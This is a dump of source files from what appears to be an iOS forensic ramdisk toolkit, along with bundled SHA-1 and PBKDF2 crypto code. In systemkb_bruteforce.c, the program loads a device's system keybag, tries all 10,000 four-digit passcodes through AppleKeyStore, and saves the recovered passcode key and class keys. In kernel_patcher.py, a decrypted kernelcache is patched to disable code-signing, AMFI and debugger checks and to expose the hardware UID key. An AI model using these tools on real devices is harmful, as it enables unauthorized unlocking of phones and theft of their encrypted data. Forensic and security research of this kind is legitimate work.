77 | R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
78 | R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
79 | R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
80 | R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
81 | R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
82 | R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
83 | R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
84 | R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
85 | R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
86 | R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
87 | R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
88 | R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
89 | R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
90 | R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
91 | R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
92 | R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
93 | R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
94 |
95 | /* Add the working vars back into context.state[] */
96 | state[0] += a;
97 | state[1] += b;
98 | state[2] += c;
99 | state[3] += d;
100 | state[4] += e;
101 | /* Wipe variables */
102 | a = b = c = d = e = 0;
103 | }
104 |
105 |
106 | /* SHA1Init - Initialize new context */
107 |
108 | void
109 | SHA1Init(SHA1_CTX *context)
110 | {
111 | /* SHA1 initialization constants */
112 | context->count = 0;
113 | context->state[0] = 0x67452301;
114 | context->state[1] = 0xEFCDAB89;
115 | context->state[2] = 0x98BADCFE;
116 | context->state[3] = 0x10325476;
117 | context->state[4] = 0xC3D2E1F0;
118 | }
119 |
120 |
121 | /* Run your data through this. */
122 |
123 | void
124 | SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len)
125 | {
126 | unsigned int i;
127 | unsigned int j;
128 |
129 | j = (u_int32_t)((context->count >> 3) & 63);
130 | context->count += (len << 3);
131 | if ((j + len) > 63) {
132 | bcopy(data, &context->buffer[j], (i = 64 - j));
133 | SHA1Transform(context->state, context->buffer);
134 | for ( ; i + 63 < len; i += 64) {
135 | SHA1Transform(context->state, &data[i]);
136 | }
137 | j = 0;
138 | }
139 | else i = 0;
140 | bcopy(&data[i], &context->buffer[j], len - i);
141 | }
142 |
143 |
144 | /* Add padding and return the message digest. */
145 |
146 | void
147 | SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context)
148 | {
149 | unsigned int i;
150 | unsigned char finalcount[8];
151 |
152 | for (i = 0; i < 8; i++) {
153 | finalcount[i] = (unsigned char)((context->count >>
154 | ((7 - (i & 7)) * 8)) & 255); /* Endian independent */
155 | }
156 | SHA1Update(context, (unsigned char *)"\200", 1);
157 | while ((context->count & 504) != 448) {
158 | SHA1Update(context, (unsigned char *)"\0", 1);
159 | }
160 | SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */
161 |
162 | if (digest)
163 | for (i = 0; i < SHA1_DIGEST_LENGTH; i++) {
164 | digest[i] = (unsigned char)((context->state[i >> 2] >>
165 | ((3 - (i & 3)) * 8)) & 255);
166 | }
167 | bzero(&finalcount, 8);
168 | #if 0 /* We want to use this for "keyfill" */
169 | /* Wipe variables */
170 | i = 0;
171 | bzero(context->buffer, 64);
172 | bzero(context->state, 20);
173 | bzero(context->count, 8);
174 | #ifdef SHA1HANDSOFF /* make SHA1Transform overwrite its own static vars */
175 | SHA1Transform(context->state, context->buffer);
176 | #endif
177 | #endif
178 | }
179 |
--------------------------------------------------------------------------------
/ramdisk_tools/systemkb_bruteforce.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "AppleKeyStore.h"
6 | #include "IOKit.h"
7 | #include "IOAESAccelerator.h"
8 | #include "registry.h"
9 | #include "util.h"
10 | #include "image.h"
11 | #include "remote_functions.h"
12 |
13 | /*
14 | #define MobileKeyBagBase 0x354cb000
15 |
16 | CFDictionaryRef (*AppleKeyStore_loadKeyBag)(char*, char*) = MobileKeyBagBase + 0x50A8;
17 | int (*AppleKeyStoreKeyBagSetSystem)(int) = MobileKeyBagBase + 0x910;
18 | int (*AppleKeyStoreKeyBagCreateWithData)(CFDataRef, int*) = MobileKeyBagBase + 0xC88;
19 | */
20 | /*
21 | /private/var/mobile/Library/ConfigurationProfiles/PublicInfo/EffectiveUserSettings.plist.plist
22 | plist["restrictedValue"]["passcodeKeyboardComplexity"]
23 | */
24 |
25 | void saveKeybagInfos(CFDataRef kbkeys, KeyBag* kb, uint8_t* key835, char* passcode, uint8_t* passcodeKey, CFMutableDictionaryRef classKeys)
26 | {
27 | CFMutableDictionaryRef out = device_info(-1, NULL);
28 |
29 | CFStringRef uuid = CreateHexaCFString(kb->uuid, 16);
30 |
31 | CFDictionaryAddValue(out, CFSTR("uuid"), uuid);
32 | CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys);
33 |
34 | addHexaString(out, CFSTR("salt"), kb->salt, 20);
35 |
36 | if (passcode != NULL)
37 | {
38 | CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII);
39 | CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
40 | CFRelease(cfpasscode);
41 | }
42 | if (passcodeKey != NULL)
43 | addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
44 |
45 | if (key835 != NULL)
46 | addHexaString(out, CFSTR("key835"), key835, 16);
47 | if (classKeys != NULL)
48 | CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys);
49 |
50 | CFStringRef resultsFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID")));
51 |
52 | CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@.plist\n"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID")));
53 |
54 | CFShow(printString);
55 | CFRelease(printString);
56 |
57 | saveResults(resultsFileName, out);
58 |
59 | CFRelease(resultsFileName);
60 | CFRelease(uuid);
61 | CFRelease(out);
62 |
63 | }
64 |
65 | char* bruteforceWithAppleKeyStore(CFDataRef kbkeys)
66 | {
67 | uint64_t keybag_id = 0;
68 | int i;
69 |
70 | char* passcode = (char*) malloc(5);
71 | memset(passcode, 0, 5);
72 |
73 | AppleKeyStoreKeyBagInit();
74 | AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id);
75 | printf("keybag id=%x\n", (uint32_t) keybag_id);
76 | AppleKeyStoreKeyBagSetSystem(keybag_id);
77 |
78 | CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL);
79 |
80 | io_connect_t conn = IOKit_getConnect("AppleKeyStore");
81 |
82 | if (!AppleKeyStoreUnlockDevice(conn, data))
83 | {
84 | return passcode;
85 | }
86 |
87 | for(i=0; i < 10000; i++)
88 | {
89 | sprintf(passcode, "%04d", i);
90 | //if (i % 1000 == 0)
91 | printf("%s\n", passcode);
92 | if (!AppleKeyStoreUnlockDevice(conn, data))
93 | {
94 | return passcode;
95 | }
96 | }
97 | free(passcode);
98 | return NULL;
99 | }
100 |
101 | char* bruteforceUserland(KeyBag* kb, uint8_t* key835)
102 | {
103 | int i;
104 | char* passcode = (char*) malloc(5);
105 | memset(passcode, 0, 5);
106 |
107 | if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835))
108 | return passcode;
109 |
110 | for(i=0; i < 10000; i++)
111 | {
112 | sprintf(passcode, "%04d", i);
113 | //if (i % 1000 == 0)
114 | printf("%s\n", passcode);
115 | if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835))
116 | return passcode;
117 | }
118 | free(passcode);
119 | return NULL;
120 | }
121 |
122 |
123 | int main(int argc, char* argv[])
124 | {
125 | u_int8_t passcodeKey[32]={0};
126 | char* passcode = NULL;
127 | int bruteforceMethod = 0;
128 | int showImages = 0;
129 | int c;
130 |
131 | while ((c = getopt (argc, argv, "ui")) != -1)
132 | {
133 | switch (c)
134 | {
135 | case 'u':
136 | bruteforceMethod = 1;
137 | break;
138 | case 'i':
139 | showImages = 1;
140 | break;
141 | }
142 | }
143 |
144 | uint8_t* key835 = IOAES_key835();
145 |
146 | if (!memcmp(key835, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16))
147 | {
148 | printf("FAIL: missing UID kernel patch\n");
149 | return -1;
150 | }
151 |
152 | CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag");
153 |
154 | if (kbdict == NULL)
155 | {
156 | mountDataPartition("/mnt2");
157 |
158 | kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag");
159 | if (kbdict == NULL)
160 | {
161 | printf("FAILed to load keybag\n");
162 | return -1;
163 | }
164 | }
165 |
166 | CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys"));
167 | CFRetain(kbkeys);
168 |
169 | if (kbkeys == NULL)
170 | {
171 | printf("FAIL: KeyBagKeys not found\n");
172 | return -1;
173 | }
174 | //write_file("kbblob.bin", CFDataGetBytePtr(kbkeys), CFDataGetLength(kbkeys));
175 | KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
176 | if (kb == NULL)
177 | {
178 | printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n");
179 | return -1;
180 | }
181 |
182 | //save all we have for now
183 | saveKeybagInfos(kbkeys, kb, key835, NULL, NULL, NULL);
184 |
185 | //now try to unlock the keybag
186 |
187 | if (bruteforceMethod == 1)
188 | passcode = bruteforceUserland(kb, key835);
189 | else
190 | passcode = bruteforceWithAppleKeyStore(kbkeys);
191 |
192 | if (passcode != NULL)
193 | {
194 | if (!strcmp(passcode, ""))
195 | printf("No passcode set\n");
196 | else
197 | printf("Found passcode : %s\n", passcode);
198 |
199 | AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835);
200 | AppleKeyStore_printKeyBag(kb);
201 |
202 | CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb);
203 |
204 | AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey);
205 |
206 | printf("Passcode key : ");
207 | printBytesToHex(passcodeKey, 32);
208 | printf("\n");
209 |
210 | printf("Key 0x835 : ");
211 | printBytesToHex(key835, 16);
212 | printf("\n");
213 |
214 | //save all we have for now
215 | saveKeybagInfos(kbkeys, kb, key835, passcode, passcodeKey, classKeys);
216 | CFRelease(classKeys);
217 |
218 | free(passcode);
219 | }
220 | free(kb);
221 |
222 | CFRelease(kbkeys);
223 | CFRelease(kbdict);
224 |
225 | return 0;
226 | }
227 |
--------------------------------------------------------------------------------
/ramdisk_tools/bsdcrypto/pbkdf2.c:
--------------------------------------------------------------------------------
1 | /* $OpenBSD: pbkdf2.c,v 1.1 2008/06/14 06:28:27 djm Exp $ */
2 |
3 | /*-
4 | * Copyright (c) 2008 Damien Bergamini
5 | *
6 | * Permission to use, copy, modify, and distribute this software for any
7 | * purpose with or without fee is hereby granted, provided that the above
8 | * copyright notice and this permission notice appear in all copies.
9 | *
10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
17 | */
18 |
19 | #include
20 | #include
21 |
22 | #include
23 | #include
24 | #include
25 |
26 | #include "sha1.h"
27 |
28 | #include "pbkdf2.h"
29 |
30 | /* #define PBKDF2_MAIN */
31 |
32 | /*
33 | * HMAC-SHA-1 (from RFC 2202).
34 | */
35 | static void
36 | hmac_sha1(const u_int8_t *text, size_t text_len, const u_int8_t *key,
37 | size_t key_len, u_int8_t digest[SHA1_DIGEST_LENGTH])
38 | {
39 | SHA1_CTX ctx;
40 | u_int8_t k_pad[SHA1_BLOCK_LENGTH];
41 | u_int8_t tk[SHA1_DIGEST_LENGTH];
42 | int i;
43 |
44 | if (key_len > SHA1_BLOCK_LENGTH) {
45 | SHA1Init(&ctx);
46 | SHA1Update(&ctx, key, key_len);
47 | SHA1Final(tk, &ctx);
48 |
49 | key = tk;
50 | key_len = SHA1_DIGEST_LENGTH;
51 | }
52 |
53 | bzero(k_pad, sizeof k_pad);
54 | bcopy(key, k_pad, key_len);
55 | for (i = 0; i < SHA1_BLOCK_LENGTH; i++)
56 | k_pad[i] ^= 0x36;
57 |
58 | SHA1Init(&ctx);
59 | SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH);
60 | SHA1Update(&ctx, text, text_len);
61 | SHA1Final(digest, &ctx);
62 |
63 | bzero(k_pad, sizeof k_pad);
64 | bcopy(key, k_pad, key_len);
65 | for (i = 0; i < SHA1_BLOCK_LENGTH; i++)
66 | k_pad[i] ^= 0x5c;
67 |
68 | SHA1Init(&ctx);
69 | SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH);
70 | SHA1Update(&ctx, digest, SHA1_DIGEST_LENGTH);
71 | SHA1Final(digest, &ctx);
72 | }
73 |
74 | /*
75 | * Password-Based Key Derivation Function 2 (PKCS #5 v2.0).
76 | * Code based on IEEE Std 802.11-2007, Annex H.4.2.
77 | */
78 | int
79 | pkcs5_pbkdf2(const char *pass, size_t pass_len, const char *salt, size_t salt_len,
80 | u_int8_t *key, size_t key_len, u_int rounds)
81 | {
82 | u_int8_t *asalt, obuf[SHA1_DIGEST_LENGTH];
83 | u_int8_t d1[SHA1_DIGEST_LENGTH], d2[SHA1_DIGEST_LENGTH];
84 | u_int i, j;
85 | u_int count;
86 | size_t r;
87 |
88 | if (rounds < 1 || key_len == 0)
89 | return -1;
90 | if (salt_len == 0 || salt_len > SIZE_MAX - 1)
91 | return -1;
92 | if ((asalt = malloc(salt_len + 4)) == NULL)
93 | return -1;
94 |
95 | memcpy(asalt, salt, salt_len);
96 |
97 | for (count = 1; key_len > 0; count++) {
98 | asalt[salt_len + 0] = (count >> 24) & 0xff;
99 | asalt[salt_len + 1] = (count >> 16) & 0xff;
100 | asalt[salt_len + 2] = (count >> 8) & 0xff;
101 | asalt[salt_len + 3] = count & 0xff;
102 | hmac_sha1(asalt, salt_len + 4, pass, pass_len, d1);
103 | memcpy(obuf, d1, sizeof(obuf));
104 |
105 | for (i = 1; i < rounds; i++) {
106 | hmac_sha1(d1, sizeof(d1), pass, pass_len, d2);
107 | memcpy(d1, d2, sizeof(d1));
108 | for (j = 0; j < sizeof(obuf); j++)
109 | obuf[j] ^= d1[j];
110 | }
111 |
112 | r = MIN(key_len, SHA1_DIGEST_LENGTH);
113 | memcpy(key, obuf, r);
114 | key += r;
115 | key_len -= r;
116 | };
117 | bzero(asalt, salt_len + 4);
118 | free(asalt);
119 | bzero(d1, sizeof(d1));
120 | bzero(d2, sizeof(d2));
121 | bzero(obuf, sizeof(obuf));
122 |
123 | return 0;
124 | }
125 |
126 | #ifdef PBKDF2_MAIN
127 | struct test_vector {
128 | u_int rounds;
129 | const char *pass;
130 | const char *salt;
131 | const char expected[32];
132 | };
133 |
134 | /*
135 | * Test vectors from RFC 3962
136 | */
137 | struct test_vector test_vectors[] = {
138 | {
139 | 1,
140 | "password",
141 | "ATHENA.MIT.EDUraeburn",
142 | {
143 | 0xcd, 0xed, 0xb5, 0x28, 0x1b, 0xb2, 0xf8, 0x01,
144 | 0x56, 0x5a, 0x11, 0x22, 0xb2, 0x56, 0x35, 0x15,
145 | 0x0a, 0xd1, 0xf7, 0xa0, 0x4b, 0xb9, 0xf3, 0xa3,
146 | 0x33, 0xec, 0xc0, 0xe2, 0xe1, 0xf7, 0x08, 0x37
147 | },
148 | }, {
149 | 2,
150 | "password",
151 | "ATHENA.MIT.EDUraeburn",
152 | {
153 | 0x01, 0xdb, 0xee, 0x7f, 0x4a, 0x9e, 0x24, 0x3e,
154 | 0x98, 0x8b, 0x62, 0xc7, 0x3c, 0xda, 0x93, 0x5d,
155 | 0xa0, 0x53, 0x78, 0xb9, 0x32, 0x44, 0xec, 0x8f,
156 | 0x48, 0xa9, 0x9e, 0x61, 0xad, 0x79, 0x9d, 0x86
157 | },
158 | }, {
159 | 1200,
160 | "password",
161 | "ATHENA.MIT.EDUraeburn",
162 | {
163 | 0x5c, 0x08, 0xeb, 0x61, 0xfd, 0xf7, 0x1e, 0x4e,
164 | 0x4e, 0xc3, 0xcf, 0x6b, 0xa1, 0xf5, 0x51, 0x2b,
165 | 0xa7, 0xe5, 0x2d, 0xdb, 0xc5, 0xe5, 0x14, 0x2f,
166 | 0x70, 0x8a, 0x31, 0xe2, 0xe6, 0x2b, 0x1e, 0x13
167 | },
168 | }, {
169 | 5,
170 | "password",
171 | "\0224VxxV4\022", /* 0x1234567878563412 */
172 | {
173 | 0xd1, 0xda, 0xa7, 0x86, 0x15, 0xf2, 0x87, 0xe6,
174 | 0xa1, 0xc8, 0xb1, 0x20, 0xd7, 0x06, 0x2a, 0x49,
175 | 0x3f, 0x98, 0xd2, 0x03, 0xe6, 0xbe, 0x49, 0xa6,
176 | 0xad, 0xf4, 0xfa, 0x57, 0x4b, 0x6e, 0x64, 0xee
177 | },
178 | }, {
179 | 1200,
180 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
181 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
182 | "pass phrase equals block size",
183 | {
184 | 0x13, 0x9c, 0x30, 0xc0, 0x96, 0x6b, 0xc3, 0x2b,
185 | 0xa5, 0x5f, 0xdb, 0xf2, 0x12, 0x53, 0x0a, 0xc9,
186 | 0xc5, 0xec, 0x59, 0xf1, 0xa4, 0x52, 0xf5, 0xcc,
187 | 0x9a, 0xd9, 0x40, 0xfe, 0xa0, 0x59, 0x8e, 0xd1
188 | },
189 | }, {
190 | 1200,
191 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
192 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
193 | "pass phrase exceeds block size",
194 | {
195 | 0x9c, 0xca, 0xd6, 0xd4, 0x68, 0x77, 0x0c, 0xd5,
196 | 0x1b, 0x10, 0xe6, 0xa6, 0x87, 0x21, 0xbe, 0x61,
197 | 0x1a, 0x8b, 0x4d, 0x28, 0x26, 0x01, 0xdb, 0x3b,
198 | 0x36, 0xbe, 0x92, 0x46, 0x91, 0x5e, 0xc8, 0x2a
199 | },
200 | }, {
201 | 50,
202 | "\360\235\204\236", /* g-clef (0xf09d849e) */
203 | "EXAMPLE.COMpianist",
204 | {
205 | 0x6b, 0x9c, 0xf2, 0x6d, 0x45, 0x45, 0x5a, 0x43,
206 | 0xa5, 0xb8, 0xbb, 0x27, 0x6a, 0x40, 0x3b, 0x39,
207 | 0xe7, 0xfe, 0x37, 0xa0, 0xc4, 0x1e, 0x02, 0xc2,
208 | 0x81, 0xff, 0x30, 0x69, 0xe1, 0xe9, 0x4f, 0x52
209 | },
210 | }
211 | };
212 | #define NVECS (sizeof(test_vectors) / sizeof(*test_vectors))
213 |
214 | #include
215 | #include
216 |
217 | static void
218 | printhex(const char *s, const u_int8_t *buf, size_t len)
219 | {
220 | size_t i;
221 |
222 | printf("%s: ", s);
223 | for (i = 0; i < len; i++)
224 | printf("%02x", buf[i]);
225 | printf("\n");
226 | fflush(stdout);
227 | }
228 |
229 | int
230 | main(int argc, char **argv)
231 | {
232 | u_int i, j;
233 | u_char result[32];
234 | struct test_vector *vec;
235 |
236 | for (i = 0; i < NVECS; i++) {
237 | vec = &test_vectors[i];
238 | printf("vector %u\n", i);
239 | for (j = 1; j < sizeof(result); j += 3) {
240 | if (pkcs5_pbkdf2(vec->pass, strlen(vec->pass),
241 | vec->salt, strlen(vec->salt),
242 | result, j, vec->rounds) != 0)
243 | errx(1, "pbkdf2 failed");
244 | if (memcmp(result, vec->expected, j) != 0) {
245 | printhex(" got", result, j);
246 | printhex("want", vec->expected, j);
247 | return 1;
248 | }
249 | }
250 | }
251 | return 0;
252 | }
253 | #endif /* PBKDF2_MAIN */
254 |
--------------------------------------------------------------------------------
/python_scripts/kernel_patcher.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import plistlib
4 | import zipfile
5 | import struct
6 | import sys
7 | import os
8 | from optparse import OptionParser
9 | from Crypto.Cipher import AES
10 | from util.lzss import decompress_lzss
11 |
12 | devices = {"n88ap": "iPhone2,1",
13 | "n90ap": "iPhone3,1",
14 | "n92ap": "iPhone3,3",
15 | "n18ap": "iPod3,1",
16 | "n81ap": "iPod4,1",
17 | "k48ap": "iPad1,1"
18 | }
19 |
20 | h=lambda x:x.replace(" ","").decode("hex")
21 | #https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c
22 | patchs_ios5 = {
23 | "CSED" : (h("df f8 88 33 1d ee 90 0f a2 6a 1b 68"), h("df f8 88 33 1d ee 90 0f a2 6a 01 23")),
24 | "AMFI" : (h("D0 47 01 21 40 B1 13 35"), h("00 20 01 21 40 B1 13 35")),
25 | "_PE_i_can_has_debugger" : (h("38 B1 05 49 09 68 00 29"), h("01 20 70 47 09 68 00 29")),
26 | "IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")),
27 | #not stritcly required, useful for testing
28 | "getxattr system": ("com.apple.system.\x00", "com.apple.aaaaaa.\x00"),
29 | }
30 |
31 | patchs_ios4 = {
32 | "NAND_epoch" : ("\x90\x47\x83\x45", "\x90\x47\x00\x20"),
33 | "CSED" : ("\x00\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00", "\x01\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00"),
34 | "AMFI" : ("\x01\xD1\x01\x30\x04\xE0\x02\xDB", "\x00\x20\x01\x30\x04\xE0\x02\xDB"),
35 | "_PE_i_can_has_debugger" : (h("48 B1 06 4A 13 68 13 B9"), h("01 20 70 47 13 68 13 B9")),
36 | "IOAESAccelerator enable UID" : ("\x56\xD0\x40\xF6", "\x00\x00\x40\xF6"),
37 | "getxattr system": ("com.apple.system.\x00", "com.apple.aaaaaa.\x00"),
38 | }
39 |
40 | patchs_ios4_fixnand = {
41 | "Please reboot => jump to prepare signature": (h("B0 47 DF F8 E8 04 F3 E1"), h("B0 47 DF F8 E8 04 1D E0")),
42 | "prepare signature => jump to write signature": (h("10 43 18 60 DF F8 AC 04"), h("10 43 18 60 05 E1 00 20")),
43 | "check write ok => infinite loop" : (h("A3 48 B0 47 01 24"), h("A3 48 B0 47 FE E7"))
44 | }
45 |
46 | #grab keys from redsn0w Keys.plist
47 | class IPSWkeys(object):
48 | def __init__(self, manifest):
49 | self.keys = {}
50 | buildi = manifest["BuildIdentities"][0]
51 | dc = buildi["Info"]["DeviceClass"]
52 | build = "%s_%s_%s" % (devices.get(dc,dc), manifest["ProductVersion"], manifest["ProductBuildVersion"])
53 | try:
54 | rs = plistlib.readPlist("Keys.plist")
55 | except:
56 | raise Exception("Get Keys.plist from redsn0w and place it in the current directory")
57 | for k in rs["Keys"]:
58 | if k["Build"] == build:
59 | self.keys = k
60 | break
61 |
62 | def getKeyIV(self, filename):
63 | if not self.keys.has_key(filename):
64 | return None, None
65 | k = self.keys[filename]
66 | return k.get("Key",""), k.get("IV","")
67 |
68 | def decryptImg3(blob, key, iv):
69 | assert blob[:4] == "3gmI", "Img3 magic tag"
70 | data = ""
71 | for i in xrange(20, len(blob)):
72 | tag = blob[i:i+4]
73 | size, real_size = struct.unpack("= real_size, "Img3 length check"
76 | data = blob[i+12:i+size]
77 | break
78 | i += size
79 | return AES.new(key, AES.MODE_CBC, iv).decrypt(data)[:real_size]
80 |
81 |
82 | def main(ipswname, options):
83 | print "Finding ipsw..."
84 | ipsw = zipfile.ZipFile(ipswname)
85 | print "Finding kernel..."
86 | manifest = plistlib.readPlistFromString(ipsw.read("BuildManifest.plist"))
87 | kernelname = manifest["BuildIdentities"][0]["Manifest"]["KernelCache"]["Info"]["Path"]
88 | kernel = ipsw.read(kernelname)
89 | print "Finding ipsw keys..."
90 | keys = IPSWkeys(manifest)
91 |
92 | key,iv = keys.getKeyIV(kernelname)
93 |
94 | if key == None:
95 | print "No keys found for kernel!"
96 | return
97 | else:
98 | print "Found ipsw key!"
99 |
100 | print "Decrypting kernel \"%s\"" % kernelname
101 | kernel = decryptImg3(kernel, key.decode("hex"), iv.decode("hex"))
102 | assert kernel.startswith("complzss"), "Decrypted kernelcache does not start with \"complzss\" => bad key/iv ?"
103 |
104 | print "Decrypted successfully!"
105 |
106 | print "Unpacking kernel..."
107 | kernel = decompress_lzss(kernel)
108 | assert kernel.startswith("\xCE\xFA\xED\xFE"), "Decompressed kernelcache does not start with 0xFEEDFACE"
109 |
110 | print "Unpacked successfully!"
111 |
112 | patchs = patchs_ios5
113 | if manifest["ProductVersion"].startswith("4."):
114 | print "Using iOS 4 kernel patches"
115 | patchs = patchs_ios4
116 |
117 | if options.fixnand:
118 | if patchs != patchs_ios4:
119 | print "FAILED: use --fixnand with iOS 4.x IPSW"
120 | return
121 | patchs.update(patchs_ios4_fixnand)
122 | kernelname = "fix_nand_" + kernelname
123 | print "WARNING: only use this kernel to fix NAND epoch brick"
124 |
125 | for p in patchs:
126 | print "Applying %s patch..." % p
127 | s, r = patchs[p]
128 | c = kernel.count(s)
129 | if c != 1:
130 | print "=> FAIL, count=%d, do not boot that kernel it wont work" % c
131 | else:
132 | kernel = kernel.replace(s,r)
133 |
134 | print "Patched kernel successfully!";
135 | outkernel = "%s.patched" % kernelname
136 | print "Saving patched kernel"
137 | open(outkernel, "wb").write(kernel)
138 | print "Patched kernel saved to %s" % outkernel
139 |
140 | print "Finding ramdisk..."
141 | ramdiskname = manifest["BuildIdentities"][0]["Manifest"]["RestoreRamDisk"]["Info"]["Path"]
142 | key,iv = keys.getKeyIV("Ramdisk")
143 |
144 | print "Finalizing..."
145 |
146 | build_cmd = "./build_ramdisk.sh %s %s %s %s" % (ipswname, ramdiskname, key, iv)
147 | rs_cmd = "redsn0w -i %s -r myramdisk.dmg -k %s" % (ipswname, outkernel)
148 | rdisk_script="""#!/bin/sh
149 |
150 | for VER in 4.2 4.3 5.0 5.1
151 | do
152 | if [ -f "/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS$VER.sdk/System/Library/Frameworks/IOKit.framework/IOKit" ];
153 | then
154 | SDKVER=$VER
155 | echo "Found iOS SDK $SDKVER"
156 | break
157 | fi
158 | done
159 | if [ "$SDKVER" == "" ]; then
160 | echo "iOS SDK not found"
161 | exit
162 | fi
163 | SDKVER=$SDKVER make -C ramdisk_tools
164 |
165 | %s
166 |
167 | echo "You can boot the ramdisk using the following command:"
168 | echo "%s"
169 | """ % (build_cmd, rs_cmd)
170 |
171 | devclass = manifest["BuildIdentities"][0]["Info"]["DeviceClass"]
172 | print "Saving ramdisk build script..."
173 | scriptname="build_ramdisk_%s.sh" % devclass
174 | f=open(scriptname, "wb")
175 | f.write(rdisk_script)
176 | f.close()
177 | print "Saved successfully!"
178 |
179 | print "Making build script executable..."
180 | os.chmod(scriptname, 0777)
181 | print "Build script chmod successful!"
182 |
183 | print "Run the script %s to (re)build the ramdisk."% scriptname
184 |
185 |
186 | if __name__ == "__main__":
187 | parser = OptionParser(usage="%prog [options] IPSW")
188 | parser.add_option("-f", "--fixnand",
189 | action="store_true", dest="fixnand", default=False,
190 | help="Apply NAND epoch fix kernel patches")
191 |
192 | (options, args) = parser.parse_args()
193 | if len(args) < 1:
194 | parser.print_help()
195 | else:
196 | main(args[0], options)
197 |
--------------------------------------------------------------------------------
/ramdisk_tools/remote_functions.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "AppleKeyStore.h"
6 | #include "IOKit.h"
7 | #include "IOAESAccelerator.h"
8 | #include "registry.h"
9 | #include "util.h"
10 | #include "plist_server.h"
11 | #include "remote_functions.h"
12 |
13 | int bruteforceProgressCallback(void* ctx, int p)
14 | {
15 | return send_progress_message((int) ctx, p, 10000);
16 | }
17 |
